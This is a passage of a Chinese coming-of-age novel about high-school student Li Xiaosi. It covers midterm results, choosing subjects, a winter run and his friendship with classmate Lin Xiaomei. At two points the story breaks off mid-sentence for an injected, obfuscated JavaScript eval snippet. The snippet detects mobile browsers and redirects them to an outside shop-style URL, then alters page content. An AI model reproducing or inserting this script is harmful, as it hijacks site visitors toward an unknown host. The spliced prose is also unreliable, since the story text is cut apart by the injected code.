教室里的气氛一下子变了。有人在深呼吸,有人攥紧了拳头,有人趴在桌上不敢看,有人伸长脖子想先睹为快。李小四的心跳也快了,但他没有伸长脖子,而是低着头,看着自己的桌面,桌面上有一道圆珠笔划过的痕迹,不知道是什么时候留下的。 沈老师把成绩单放在讲台上,没有马上念,而是先说了一段话。 “这次期中考试,咱们班的平均分在年级排第五,比月考进步了一名。这个进步是大家共同努力的结果,我很高兴。”她顿了顿,目光扫过全班,“但我要说一句你们可能不爱听的话——高中的竞争比你们想象的要激烈得多。你们在进步,别人也在进步。你们在努力,别人也在努力。不进则退,这四个字不是吓唬人的。” 教室里安静极了。 沈老师开始念成绩。她还是从高到低念,第一名还是林小美,总分八百九十一分,比月考高了十几分,年级排名从三十一名进步到了二十五名。念到这个名字的时候,教室里响起了一阵掌声。林小美坐在座位上,表情没有什么变化,但李小四注意到她握着笔的手指微微松了一下。 他竖起耳朵,一个一个地听。前十名没有他,前二十名也没有他,前二十五名念到一半的时候,他听到了自己的名字。 “第二十三名,李小四,总分八百一十二分。” 李小四愣了一下。八百一十二分,比月考高了二十分,名次从二十八名进步到了二十三名。他进步了,进步了五名,二十分。 沈老师念完所有成绩之后,把成绩单贴在了公告栏上。这一次李小四没有急着挤上去,而是坐在座位上,等人都散得差不多了才走过去。他站在公告栏前,找到了自己的名字,一科一科地看。 语文八十九,比月考高了二分。数学九十三,高了二分。英语七十八,高了七分。物理八十二,高了四分。化学八十五,高了二分。生物八十三,高了二分。政治七十八,高了二分。历史八十一,高了二分。地理七十八,高了二分。 每一科都进步了,不多,一分两分,但每一科都进步了。英语进步最大,从七十一到七十八,整整七分。他盯着那个“七十八”看了好一会儿,脑子里浮现出那本林小美借给他的单词书,一千六百个核心词汇,他已经背到了第九百多个。那些单词一个一个地住进了他的脑子里,有的住得稳,有的住得不太稳,但都在。它们在他考试的时候跑出来帮他,虽然有些跑错了地方,但大部分都跑对了。 英语进步了七分,这就是证据。 “你看到了?”林小美不知道什么时候站在了他旁边。 “看到了。英语七十八。” “比月考高了七分。” “嗯。” “我说过你能提高十分。” “还差三分。” 林小美看了他一眼:“下次月考就够了。” 李小四笑了笑,没有接话。他继续看成绩单,看到林小美的成绩——数学九十七,英语九十五,物理九十三,化学九十一,生物九十二,每一科都高得让人眼红。他看了看她的分数,又看了看自己的,差距还是很大,但比月考的时候小了一点。这一点点缩小的差距,让他觉得自己的努力没有白费。 不是因为他超过了谁,而是因为他追上了一点点。 那天下午,沈老师把李小四叫到了办公室。 这是他第二次进沈老师的办公室。桌上的绿萝又长出了几片新叶子,藤蔓垂下来,快要碰到地板了。墙上的地图还是那张中国地图,红笔圈的那个地方他还不知道是哪里,但离得近了,他看清了——是西藏。 沈老师坐在椅子上,手里拿着他的成绩单,正在看。她看了好一会儿,才抬起头。 “李小四,你这次考得不错。尤其是英语,进步很大。”她把成绩单放在桌上,“我想跟你聊聊选科的事。” “选科?” “对。高一上学期快过半了,下学期就要选科了。你是想学理科还是文科?” 李小四沉默了一会儿。他从来没有认真想过这个问题。初中的时候他只知道要考上一中,考上一中之后要考上大学,但考上大学之后学什么、做什么,他从来没有想过。不是不想想,是觉得那些东西太远了,远到像天边的云,看得见摸不着,想了也没用。 “我不知道。”他老实地说。 沈老师点了点头,好像早就预料到这个答案。“没关系,现在不知道很正常。但你要开始想了。”她从抽屉里拿出一张纸,递给他,“这是大学专业分类表,你看看。理科能报什么专业,文科能报什么专业,心里有个数。” 李小四接过那张纸,看了看。理科能报的专业很多,数学、物理、化学、生物、计算机、电子、机械、建筑、医学……文科能报的专业也不少,中文、历史、哲学、法律、经济、管理、教育、新闻……他看着那些专业名字,有些他听说过,有些他完全不知道是干什么的。 “你可以从两个角度去想,”沈老师说,“一是你擅长什么,二是你喜欢什么。擅长让你走得稳,喜欢让你走得远。两个都有最好,如果只能选一个,我建议选喜欢的。因为喜欢的东西,你会愿意为它吃苦。” 李小四把那张纸折好,装进口袋里。 从办公室出来的时候,天已经快黑了。走廊上的灯还没亮,光线昏暗,只有楼梯拐角处有一盏灯亮着,发出昏黄的光。他走在昏暗的走廊里,脑子里想着沈老师的话——“喜欢的东西,你会愿意为它吃苦。” 他喜欢什么? 他喜欢做题做出来那一刻的感觉。那种感觉不是高兴,是踏实,像在黑暗中摸到了一面墙,知道自己在往前走,没有迷路。他喜欢数学,喜欢那种一步一步推导出答案的过程,喜欢那种“因为A,所以B,因为B,所以C”的逻辑链条。他喜欢物理,虽然学得不太好,但他喜欢那种“理解这个世界是怎么运作的”的感觉。他喜欢沈老师的语文课,喜欢那些古诗词里藏着的千年前的情感,喜欢在文字里找到自己的影子。 但他最喜欢的,大概是那种“变好”的感觉。从38分到98分,从二十八名到二十三名,从英语不及格到七十八分。每一次进步,都让他觉得自己不是原地踏步的人。 他走到楼梯口的时候,遇到了林小美。 她站在楼梯拐角处,手里拿着一本书,正在看。不是小说,是一本物理竞赛题集,封面是一道复杂的电路图,看着就让人头大。她看得很专注,连李小四走近了都没有察觉。 “林小美。” 她抬起头,合上书。 “沈老师找你谈话了?”她问。 “嗯。说选科的事。” “你选什么?” “还没想好。你呢?” “理科。”林小美说,语气很确定,“我要当老师,理科老师。物理或者数学。” 李小四看着她。她的表情很平静,但眼神里有光,那种光是“我知道我要去哪里”的光。不是每个人都有这种光的,有些人一辈子都不知道自己要去哪里,有些人知道但不敢去,有些人敢去但不知道怎么走。林小美不是那些人,她知道,她敢去,她也在走。 “你怎么这么确定?”李小四问。 “因为我想了很久。”林小美说,“从初中的时候就开始想了。我奶奶说,当老师好,稳定,受人尊敬,不会像我妈妈那样。”她停了一下,“但这不是主要原因。主要原因是我喜欢。我喜欢讲题,喜欢把不懂的东西讲懂,喜欢看到别人听懂之后的表情。” 李小四想起林小美给他讲英语、讲数学、讲物理的样子。她讲题的时候不着急,不急躁,不嫌弃他笨。她会换不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444076|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方式讲,讲到他能听懂为止。她确实喜欢讲题,那种喜欢不是装出来的,是从眼睛里、从手指的比划里、从耐心的重复里,一点一点地渗出来的。 “你会是个好老师。”李小四说。 “我知道。”林小美说,语气还是那么确定,但不是骄傲,是平静的、实事求是的确定,像在说“地球是圆的”一样自然。 他们一起走下楼梯。楼道里的灯亮了,是声控的,他们的脚步声一响,灯就亮了,走过了又暗了。一明一暗之间,李小四忽然想起一件事。 “林小美,你上次月考物理八十一,这次多少?” “八十八。” “提高了七分。” “嗯。” “跟我英语一样,七分。” 林小美看了他一眼:“你是在跟我比谁进步大?” “不是。我是想说,谢谢你。” “谢我什么?” “谢谢你帮我补英语。没有你,我英语考不了七十八。” 林小美沉默了一会儿,走到一楼的时候才开口:“你也帮我了。我的数学和物理,你帮我讲过。你不记得了?” 李小四想了想,好像确实讲过。在奶茶店,在教室,在操场的花坛边。他给林小美讲过集合,讲过函数,讲过加速度的方向。他讲得没有林小美清楚,有些时候讲着讲着自己也糊涂了,但林小美从来没有打断他,从来没有说“你讲得不对”。她只是听着,听完之后说“我再想想”,然后自己想通了。 “那不叫帮,”李小四说,“那叫互相学习。” “互相学习也是帮。”林小美推开教学楼的大门,冷风灌进来,吹得她缩了一下脖子,“走吧,该回家了。” 他们走出校门,一个往左,一个往右。路灯已经亮了,橘黄色的光洒在路面上,把他们的影子拉得很长。李小四骑上电动车,夜风吹在脸上,凉飕飕的,但他的心里是暖的。 不是因为他考了二十三名,不是因为他英语进步了七分,而是因为他发现了一件事——他在变好,不是一个人变好,是跟一些人一起变好。林小美在变好,大壮在变好,连爸爸都在变好。每个人都在自己的轨道上往前走,速度不一样,方向不一样,但都在走。 这种感觉很好。 晚上,李小四写完作业,躺在床上,给大壮发了一条消息。 “大壮,我期中考试考了班级二十三名,比月考进步了五名。英语进步了七分。” 大壮很快回了一条语音,背景里有机器的轰鸣声,他在加班。 “二十三!七分!小四你太厉害了!我跟你说,我也进步了,我电工实操考试考了九十二分,老师说我是这批学员里接线接得最快的一个。” 李小四听着大壮的声音,笑了。大壮的笑声还是以前那个样子,大大的,亮亮的,隔着手机都能感受到那种热气腾腾的劲儿。 “大壮,你以后想做什么?”他问。 “做电工啊,还能做什么?” “我是说,以后。以后你想做到什么程度?” 大壮沉默了一会儿,发了一段很长的语音。 “我想开一个自己的店。家电维修的那种。我现在的技术修一般的电路没问题了,但空调、冰箱、洗衣机这些还不太会,要学。等我学够了,攒够了钱,就回县城开个店。你到时候来我店里,我给你打折。” 李小四听完这段语音,眼眶热了一下。他想说“大壮,你一定可以的”,但这句话太轻了,轻得像空气,说出来就散了。他想了想,说了另一句话。 “大壮,等我考上大学了,回来帮你开店。” 大壮发了大笑的表情:“行啊,你帮我算账。你数学好,算账不会算错。” “那说好了。” “说好了。” 李小四放下手机,关了灯。黑暗中,他听着窗外的风声,十一月的风已经有了冬天的味道,呼呼地吹着,像是在预告什么。他想,冬天要来了,但冬天过后是春天。每个季节都有每个季节该做的事,冬天不是用来退缩的,是用来积蓄力量的。 他在心里对自己说了一句话:“你不是一个人。” 这句话不是安慰,是事实。他有妈妈,有爸爸,有姐姐,有大壮,有林小美,有马老师,有沈老师。这些人有的在身边,有的在远方,有的已经不在他的生活里了,但他们都在他的心里。 27. 冬日 期中考试之后,日子忽然变得安静了。 不是真的安静,教室里的声音一点没少,课间的喧闹、课堂上的问答、走廊上的脚步声,该有的都有。但那种悬在半空中的紧张感消失了,像一场大雨过后,空气被洗得干干净净,呼吸起来不再闷得慌。成绩单贴出来的那天,有人高兴,有人难过,有人不服气,有人无所谓。但过了几天,那些情绪都慢慢沉淀下去了,大家该上课上课,该做作业做作业,该吃饭吃饭,日子照旧。 李小四发现,高中的生活就是这样——每一次考试都像一颗石子扔进水里,刚扔进去的时候水花四溅,波纹一圈一圈地荡开,但过不了多久,水面就会恢复平静。然后你扔下一颗石子,又荡开,又平静。一次又一次,直到你习惯了那些石子,也习惯了那些平静。 十一月中旬,学校搞了一次“冬季长跑”活动。说是活动,其实就是全校学生绕着操场跑十五圈,美其名曰“锻炼身体、磨练意志”。高一到高三,两千多个人挤在操场上,黑压压的一片,像一群迁徙的角马。 李小四不喜欢长跑。他喜欢篮球,喜欢那种爆发力的、瞬间的、需要反应速度的运动。长跑不一样,长跑是漫长的、重复的、跟自己的意志较劲的运动。跑第一圈的时候他觉得自己能跑完,跑第三圈的时候他觉得还有十二圈太漫长了,跑第五圈的时候他的腿开始发酸,跑第七圈的时候他的呼吸乱了,跑第十圈的时候他觉得自己不行了。 “坚持住。”林小美从他旁边跑过去,步伐很稳,呼吸很均匀,看起来一点都不累。 李小四咬着牙跟上去。他不想被林小美甩太远,不是因为好胜心,而是因为她那句“坚持住”像一根绳子,他抓住那根绳子,就不想松手。 跑到第十二圈的时候,他的腿已经不是他的腿了,每一步都像踩在棉花上,软绵绵的,用不上力。他的肺像被人攥住了,每呼吸一次都要用很大的力气。他想停下来,想走几步,想蹲下来休息一下。但他看到林小美在前面不远的地方,步伐还是那么稳,呼吸还是那么均匀,马尾辫在脑后一甩一甩的,像一面不倒的旗帜。 他又跟了上去。 第十五圈,他终于跑完了。 他撑着膝盖,大口大口地喘气,汗水从额头滴下来,落在塑胶跑道上,洇出一小片深色的印迹。他的心脏在胸腔里狂跳,像要跳出来一样。林小美站在他旁边,呼吸也有点急促,但没有他那么狼狈。 “你跑完了。”她说。 “你也是。” “我比你快两圈。” “你是女生。” “女生怎么了?”林小美白了他一眼。 李小四笑了,笑得上气不接下气,笑得咳嗽了几声。他直起腰,看着操场上还在跑的人,有人已经跑完了在散步,有人还在跑,有人已经放弃了在走。他忽然觉得,长跑这件事跟高中很像——不是看谁跑得快,是看谁能坚持到最后。跑得快的不一定能跑完,跑得慢的不一定放弃。重要的不是速度,是耐力。 “林小美,你说高中三年是不是也像长跑?” 林小美想了想:“不像。” “为什么?” “因为长跑只有一个终点,高中三年有很多终点。每一次考试都是一个终点,每一次选择都是一个终点,每一天都是一个终点。”她顿了顿,“你不需要跑到最后才知道自己行不行,你每天都在知道。” 李小四把这句话记在了心里。“你每天都在知道。”他想,是的,他每天都在知道。知道这道题会不会做,知道这个单词记没记住,知道今天有没有比昨天进步一点点。这些“知道”很小,但积在一起,就变成了他对自己越来越清晰的认知。 十一月下旬,银杏叶终于黄透了。 操场边的那排银杏树,在十一月的最后一个星期,变成了一排金色的火炬。每一片叶子都是金黄的,不是那种暗沉的金,是明亮的、透明的、在阳光下会发光的金。风吹过来,叶子哗哗地响,有些被吹落了,在空中打着旋,慢慢地飘下来,落在跑道上,落在草地上,落在经过的学生的肩膀上。 李小四每天经过那排银杏树的时候都会多看几眼。他想记住它们的样子,从全绿到镶金边,从镶金边到半黄半绿,从半黄半绿到金黄,从金黄到落叶。他想记住每一个阶段,因为每一个阶段都不一样,每一个阶段都有每一个阶段的美。 林小美也喜欢那排银杏树。她有时候会在树下站一会儿,仰头看着那些金黄的叶子,不说话,就那么看着。李小四不知道她在看什么,也许是看叶子的形状,也许是看光线的变化,也许什么都没看,只是在发呆。 “林小美,你为什么喜欢银杏?”他有一次问她。 “因为它好看。” “就因为这个?” “就因为这个。”林小美说,“有些东西不需要那么多理由。好看就是好看。” 李小四觉得她说得对。有些东西不需要那么多理由,好看就是好看,喜欢就是喜欢,开心就是开心。他有时候想太多,把简单的事情想复杂了。林小美不一样,她能把复杂的事情变简单,不是因为她想得少,而是因为她想得清。 周五下午,最后一节是自习课。 沈老师不在,林小美坐在讲台上维持纪律。教室里很安静,大部分人都在写作业,只有笔尖在纸上沙沙的声音和偶尔翻书的声音。李小四在做物理卷子,做到一道关于牛顿第二定律的题,卡住了。他想了十几分钟,换了三种思路,都算不出答案。他抬起头,看了看讲台上的林小美,她正在写数学作业,眉头微皱,看起来很专注。 他不想打扰她,就把那道题圈了出来,打算下课再问。 他换了一科,拿出英语单词书继续背。一千六百个核心词汇,他已经背到一千二百多个了。剩下的三百多个,他计划在期末考试前背完。他低着头,嘴里默念着,手指在桌面上写写画画。同桌王浩不在——他最近经常请假,不知道是身体不好还是家里有事——所以他把整张桌子都占用了,课本、笔记本、单词书、水杯,摆得整整齐齐,不像以前那样乱七八糟的。 他发现自己变了一些。不是故意变的,是慢慢变成这样的。以前他的书桌永远是一团糟,试卷到处都是,课本摞得歪歪扭扭,笔滚到地上都懒得捡。现在他每天放学之前都会把书桌收拾干净,把课本按科目放好,把试卷夹进文件夹里,把笔插回笔袋。这个习惯不是谁教他的,是自己长出来的。也许是因为林小美的书桌永远整整齐齐,他看多了,就不想让自己太乱。也许是因为他长大了,知道整齐不是给别人看的,是给自己用的——找东西快,心也静。 下课铃响了。 林小美从讲台上走下来,回到座位上。她看了一眼李小四的物理卷子,看到那道圈出来的题,问:“这道不会?” “不会。想了很久,算不出来。” 林小美拿起笔,在草稿纸上画了一个受力分析图。她画得很慢,每一根线都画得很直,每一个力都标得很清楚。画完之后,她用笔指着图,一步一步地讲给他听。 “你看,这个物体受到重力、支持力、拉力和摩擦力。重力向下,支持力向上,拉力沿斜面向上,摩擦力沿斜面向下。因为物体匀速运动,所以合力为零。把重力分解成沿斜面和垂直斜面两个方向……” 她讲得很清楚,每一步都有理有据,像在解一道数学题,不是凭感觉,是靠逻辑。李小四跟着她的思路一步一步地走,走到最后,答案出来了,跟他之前算的第三遍答案一样。他之前算对了,但他不知道自己为什么对,所以不敢确定。现在他知道了,所以确定了。 “懂了。”他说。 “那你再做一遍给我看。” 李小四重新做了一遍,每一步都写得很详细,写完之后推给林小美看。林小美看了一遍,点了点头:“对了。” “谢谢你。” “不客气。”林小美收起笔,“你英语背到哪儿了?” “一千二百多。” “快了。背完之后我考你。” “你考我?你不是说要帮我补英语吗?” “我考你也是补。不考试你怎么知道自己会不会?” 李小四觉得她说得有道理,就没有反驳。 周末,李小四去了奶茶店。 不是跟林小美约好的,是他自己去的。他想找一个安静的地方看书,家里也行,但家里有电视的声音,有妈妈在厨房忙碌的声音,有爸爸在客厅看汽修书翻页的声音。那些声音不吵,但会让他分心。奶茶店不一样,奶茶店里的声音是背景音——音乐声、搅拌机声、杯子的碰撞声、别人的说话声——这些声音跟他无关,他不会去听,也不会被吸引,它们只是在那里,像一层薄薄的膜,把他跟外界隔开,让他能更专注地做自己的事。 他坐在靠窗的位置,面前摆着数学课本、笔记本、草稿纸和一杯柠檬水。柠檬水是进店的时候点的,他本来想点一杯奶茶,但犹豫了一下还是点了柠檬水。不是因为柠檬水比奶茶好喝,而是因为林小美每次都点柠檬水,他喝了几次之后,觉得柠檬水也挺好喝的。 他在预习下一章的数学内容——函数的奇偶性。课本上写得挺清楚的,偶函数关于y轴对称,奇函数关于原点对称。他看了一遍,觉得懂了,但做题的时候发现没那么简单。有些函数一眼就能看出是奇是偶,有些函数要化简之后才能看出来,有些函数既不是奇也不是偶,有些函数既是奇又是偶——零函数。他做了一道判断奇偶性的题,做了三遍,每一遍的答案都不一样。他把课本翻回去重新看定义,看了两遍,又做了一遍,这次对了。 他发现预习这件事,不是提前学会,是提前知道哪里不会。上课的时候,别人在听老师讲新知识,他在听老师讲他预习时没看懂的那部分。别人在记笔记,他在核对笔记——哪些是他预习时理解对了的,哪些是他理解错了的,哪些是他根本没想到的。这种“核对”让他学得更扎实,因为他不只是在接受新知识,他还在修正自己脑子里的旧认知。 他在奶茶店待了两个多小时,预习完了函数的奇偶性,又背了三十个英语单词,还做了一套物理的课后练习题。走的时候,柠檬水还剩半杯,冰块已经化了,味道淡了很多。他把杯子扔进垃圾桶,背上书包,出了门。 十一月底的一个傍晚,李小四放学回家,看到爸爸坐在客厅的沙发上,手里拿着一张纸,正在看。他走近了才看清,那是一张工资条。 “爸,发工资了?” “嗯。”爸爸把工资条折好,放进口袋里,“比预想的多了一些。厂里说我的技术好,试用期过了就涨工资。” “涨了多少?” “五百。” 李小四看着爸爸的脸。他比刚回来的时候精神多了,眼角的皱纹还在,但那种疲惫的神色淡了很多。他的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444077|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛里有光,不是年轻时候那种意气风发的光,而是一种更沉静的、踏踏实实的光。那种光不是“我要做大事”的光,而是“我能养家”的光。 “爸,你高兴吗?” “高兴。”爸爸说,“你妈也高兴。她说等你放寒假了,我们一家出去吃顿饭。” “去哪吃?” “你妈说去新开的那家火锅店,你不是喜欢吃火锅吗?” 李小四愣了一下。他不记得自己什么时候跟妈妈说过喜欢吃火锅。也许是某次路过火锅店的时候多看了一眼,也许是某次吃饭的时候随口说了一句“好久没吃火锅了”,也许他什么都没说过,只是妈妈自己猜到的。妈妈总是能猜到这些事,不用他说,不用任何提示,她就是知道。 “行,去吃火锅。”李小四说。 那天晚上,他躺在床上,翻来覆去睡不着。不是失眠,是一种说不清的清醒,脑子转得飞快,想了很多事情。想到爸爸的工资条,想到妈妈说的那顿火锅,想到大壮的电工证,想到林小美的那本单词书,想到沈老师说的“喜欢的东西,你会愿意为它吃苦”。这些碎片在他的脑子里转来转去,像拼图的碎片,他试着把它们拼在一起,但拼不出完整的画面。 他拿起手机,看了看时间,十一点二十。他打开微信,看到林小美几分钟前发了一条朋友圈。林小美很少发朋友圈,这是她这个月发的第一条。 照片拍的是那排银杏树,不是白天拍的,是傍晚。夕阳从西边照过来,把银杏叶照得透亮,金黄金黄的,像一片燃烧的火。照片没有配文字,只有一个句号。 李小四看着这张照片,看了很久。他想,林小美也喜欢那排银杏树,喜欢到要在傍晚的时候特意去拍一张照片。她不说“真好看”,不说“好美”,她只发一个句号。那个句号不是结束,是省略——有些东西不需要用语言去说,看一眼就够了。 他长按那张照片,保存了下来。 十二月的第一天,下了一场雨。 不是夏天那种暴雨,是冬天的细雨,不大,但很密,打在脸上冰凉冰凉的。李小四没有带伞,把校服帽子扣在头上,快步走进教学楼。帽子上全是水,他把帽子摘下来抖了抖,挂在桌角上晾着。 第一节课是数学。王老师讲函数的单调性——增函数、减函数、单调区间。他讲得还是那么快,板书还是那么漂亮,每一笔都带着锋。李小四认真听着,手里的笔不停地记。他预习过这一节,知道增函数是x越大y越大,减函数是x越大y越小。但王老师讲的不只是定义,还有判断方法——定义法、图像法、复合函数法。每一种方法都有适用的场景,选对了方法,题就好做;选错了,怎么算都算不出来。 王老师在黑板上出了一道题,让同学上来做。没有人举手。他的目光扫过全班,最后落在李小四身上。 “李小四,你来。” 李小四站起来,走上讲台,拿起粉笔。粉笔冰凉冰凉的。 他放下粉笔,退后一步,看着自己的解答。王老师走过来,看了看黑板,沉默了两秒钟。 “对了。步骤完整,思路清晰。”他转过头看着李小四,“进步很大。” 李小四走回座位的时候,心跳得很快。不是紧张,是一种混杂着兴奋和不敢确定的感觉。王老师说他进步很大,王老师从来说话都很克制,从不当众夸人,今天他说了“进步很大”这四个字。这四个字的分量,比一张高分试卷还重。 林小美在草稿纸上写了一行字,推过来:“你讲题的样子像老师了。” 李小四看了这行字,笑了。他在下面写了一行字:“像谁?像你吗?” 林小美看了一眼,没有回,把草稿纸折好,塞进了笔袋里。但她的嘴角弯了一下,那个弧度很小,小到不仔细看就看不到。 下午最后一节是体育课。刘老师让大家跑了两圈热身,然后自由活动。李小四没有去打篮球,他走到操场边的那排银杏树下,站在林小美平时站的那个位置,仰头看着那些金黄的叶子。 雨已经停了,但银杏叶上还挂着水珠,在阳光下闪闪发亮。有些叶子已经被雨打落了,铺在地上,厚厚的一层,像一条金色的地毯。他站在树下,看着那些叶子和水珠,想起林小美拍的那张照片,想起她说的“好看就是好看”。 他忽然觉得,这个冬天不会太冷。 不是因为银杏叶还在,不是因为太阳还在,而是因为他有了一些让他觉得温暖的东西——妈妈的饭,爸爸的水,林小美的柠檬水和橘子,大壮的消息,沈老师的认可,王老师的肯定。这些东西像一件看不见的棉袄,穿在他身上,挡风御寒。 他从口袋里掏出手机,对着那排银杏树拍了一张照片。照片里的银杏叶金黄一片,水珠在上面闪着光,天空是雨后特有的那种干净的蓝,像被洗过一样。 他把照片发给林小美,配了一行字:“今天的银杏。” 过了几分钟,林小美回了一条消息:“看到了。还在。” 还在。叶子还在,树还在,那个位置还在,她还在,他还在。 李小四把手机收进口袋里,深深地吸了一口气。空气里有雨后的清新,有银杏叶的气息,有泥土的味道。他转过身,往教室走,球鞋踩在落叶上,发出细碎的声响。 他想,十二月来了,期末还会远吗? 期末不远了。但他不怕。 因为他准备好了。 28. 岁末 十二月的县城,冷得不像话。不是北方那种干冷,是南方特有的湿冷,冷空气裹着水汽,钻进衣服的每一个缝隙,贴在皮肤上,怎么都甩不掉。李小四穿上了最厚的棉袄,还是觉得冷。那件棉袄是去年妈妈在批发市场给他买的,深蓝色的,里面塞的是丝绵,不厚,但很沉,穿在身上像披了一件湿衣服。他想要一件羽绒服,但没跟妈妈说,因为羽绒服太贵了,一件要好几百块,够家里吃半个月的饭了。 教室里的暖气片是摆设,摸上去只是不冰手而已,离“暖和”还差得远。上课的时候,大部分人都不脱外套,缩着脖子,手藏在桌斗里,偶尔伸出来写几个字,又赶紧缩回去。李小四的手每年冬天都会长冻疮,今年也不例外。右手食指和中指的关节处已经肿了,红通通的,摸上去硬硬的,写字的时候笔压在上面,又疼又痒。他把创可贴贴在冻疮上,创可贴磨破了就换一张,换得勤了,手指上总是缠着白色的胶布,看起来像是受了什么重伤。 “你的手怎么了?”林小美注意到他手指上的创可贴。 “冻疮。每年都长。” “你没有护手霜吗?” “没有。男生不用那个。” 林小美看了他一眼,没有说话。第二天,她的桌斗里多了一支护手霜,白色的管子,上面印着几个日文字,她看不懂是什么意思,但她知道这是护手霜。她把护手霜放在李小四的桌上,说:“借你的,用完还我。” 李小四拿起那支护手霜,挤了一点涂在手指上。护手霜是白色的膏体,涂上去凉凉的,过了一会儿开始发热,冻疮的痒被压下去了一些。他把护手霜还给她:“谢谢。” “不用还,你用吧。”林小美低下头,继续看书。 李小四把那支护手霜放进了笔袋里,每天到教室的第一件事就是涂一遍。涂了一个星期,冻疮消了一些,不红了,但还是硬硬的,写字的时候还是会疼。但那种疼已经不是不能忍的疼了,而是一种他可以忽略的、背景噪音一样的疼。 十二月的第一件大事,是校刊出版了。 沈老师在语文课上把那本校刊带到了教室,放在讲台上,让同学们传阅。校刊的封面是学校大门的照片,蓝天白云,校名在阳光下闪着金光。目录上列着十几篇文章的标题和作者,有诗歌,有散文,有小说,有读后感。李小四在目录上找了一圈,在倒数第三行看到了自己的名字。 “李小四——《温度》” 他的心猛地跳了一下。沈老师说过要把他的周记推荐到校刊,但他以为只是说说,没想到真的登了。他翻到那篇文章,看到自己的字变成了印刷体,整整齐齐地排在一起,标题下面是他的班级和名字——“高一(4)班李小四”。他盯着那行字看了好一会儿,觉得那个名字不像自己的,像别人的,一个他不太认识的、被印在纸上的、变成了铅字的人。 文章不长,沈老师念过的那些话都在上面。他读了一遍,觉得那些文字很熟悉,又很陌生。熟悉是因为每一个字都是他写的,陌生是因为它们被印在纸上之后,好像有了另一种生命——不再是他的了,是读者的了。 “李小四,你写的?”刘洋从后面探过头来,看到了那篇文章。 “嗯。” “厉害啊,文章都能登校刊了。”刘洋拍了拍他的肩膀,“以后当了作家别忘了我。” 李小四笑了:“我不会当作家。” “那可不一定。”刘洋说,“你写的东西我看得懂,有些人写的我根本看不懂。看得懂就是好文章。” 李小四觉得这个标准虽然简单,但好像也有点道理。文章是写给人看的,人看不懂,写得再好也没用。他写的那些话,妈妈能看懂,林小美能看懂,刘洋也能看懂。这就够了。 校刊在班里传了一圈,又传到了其他班。那几天,走在走廊上,偶尔会有人多看他一眼,眼神里有好奇,也有一种“哦,你就是那个写文章的”的意味。李小四不太习惯这种被注视的感觉,他更喜欢坐在角落里,不被任何人注意。但那种感觉也不全是难受的,有一小部分是暖的——有人看到你写的东西了,有人记住了,有人觉得还行。这种“还行”不是客套,是真正的、发自内心的“还行”,因为他跟他们不认识,他们不需要对他客气。 周三下午,沈老师又把李小四叫到了办公室。 办公室里的暖气比教室足一些,沈老师脱了外套,穿着一件米白色的毛衣,坐在椅子上,手里拿着一杯热茶。桌上的绿萝又长出了新叶子,藤蔓垂到了地板上,她用一根绳子把藤蔓绑了一下,让它们沿着桌腿往上爬。 “坐吧。”沈老师说。 李小四坐下,书包放在脚边。他不知道沈老师找他干什么,但他已经不紧张了。沈老师的办公室不像马老师的办公室那样让他觉得有压力,可能是因为沈老师说话的方式不一样——她说话的时候像是在聊天,不是在训话。 “校刊你看了吗?”沈老师问。 “看了。” “感觉怎么样?” 李小四想了想:“感觉……有点不真实。自己的名字印在上面,像在看别人。” 沈老师笑了:“第一次发表文章都是这种感觉。以后习惯了就好了。” 李小四想说“以后还能发表吗”,但他没有问。他怕自己问了,就像是在要一个承诺。沈老师给不了他承诺,他自己也给不了自己。他只能继续写,写好每一篇周记,写好每一次作文,写好每一个句子。写好了,自然会有下一次。 “李小四,你有没有想过以后从事跟写作有关的职业?”沈老师问。 李小四愣了一下。他从来没有想过这个问题。写作对他来说不是职业,是记录。他写周记,写作文,写那些发生在自己身边的事,不是为了成为什么,而是为了记住什么。他怕自己忘了——忘了妈妈在饭桌上流眼泪的样子,忘了爸爸放在书桌上的那杯温水,忘了林小美给他的那些橘子。这些东西不写下来,时间久了,就会模糊,就会变淡,就会像旧照片一样褪色。他不想让它们褪色。 “我没想过,”他老实地说,“但我喜欢写。” “喜欢就够了。”沈老师说,“喜欢的事情,坚持下去,总会开出花来。” 李小四把这句话记在了心里。“喜欢就够了。”他想,是的,喜欢就够了。不需要成为什么,不需要证明什么,喜欢本身就是意义。 十二月中旬,学校举行了“冬季三项”比赛。 所谓冬季三项,就是跳绳、踢毽子和长跑。每个班都要派人参加,林小美作为班长,在班会上动员大家报名。她说得很简短,语气很平淡,没有激情澎湃的演讲,没有煽动性的语言,只是把比赛的规则和时间念了一遍,然后在黑板上写下了几个项目的名称,说了一句“想参加的到我这里报名”。 没有人举手。 教室里安静了几秒钟,然后有人小声说“跳绳我可以”“踢毽子我不会”“长跑谁去谁傻”。林小美站在讲台上,看着下面,表情没有变化。她没有催促,没有点名,没有做任何让人不舒服的事。她只是站在那里,手里拿着一支粉笔,等。 “我报长跑。”李小四举手了。 他不知道自己为什么要举手。他不喜欢长跑,上次冬季长跑活动跑得他差点断气。但林小美站在讲台上,没有人报名,她一个人站在那里,粉笔握在手里,不知道写什么。他不想让她难堪。 “还有谁?”林小美在黑板上写下“李小四——长跑”。 “我报跳绳。”刘洋举手了。 “我报踢毽子。”赵磊举手了。 “我报长跑。”陈屿白举手了。 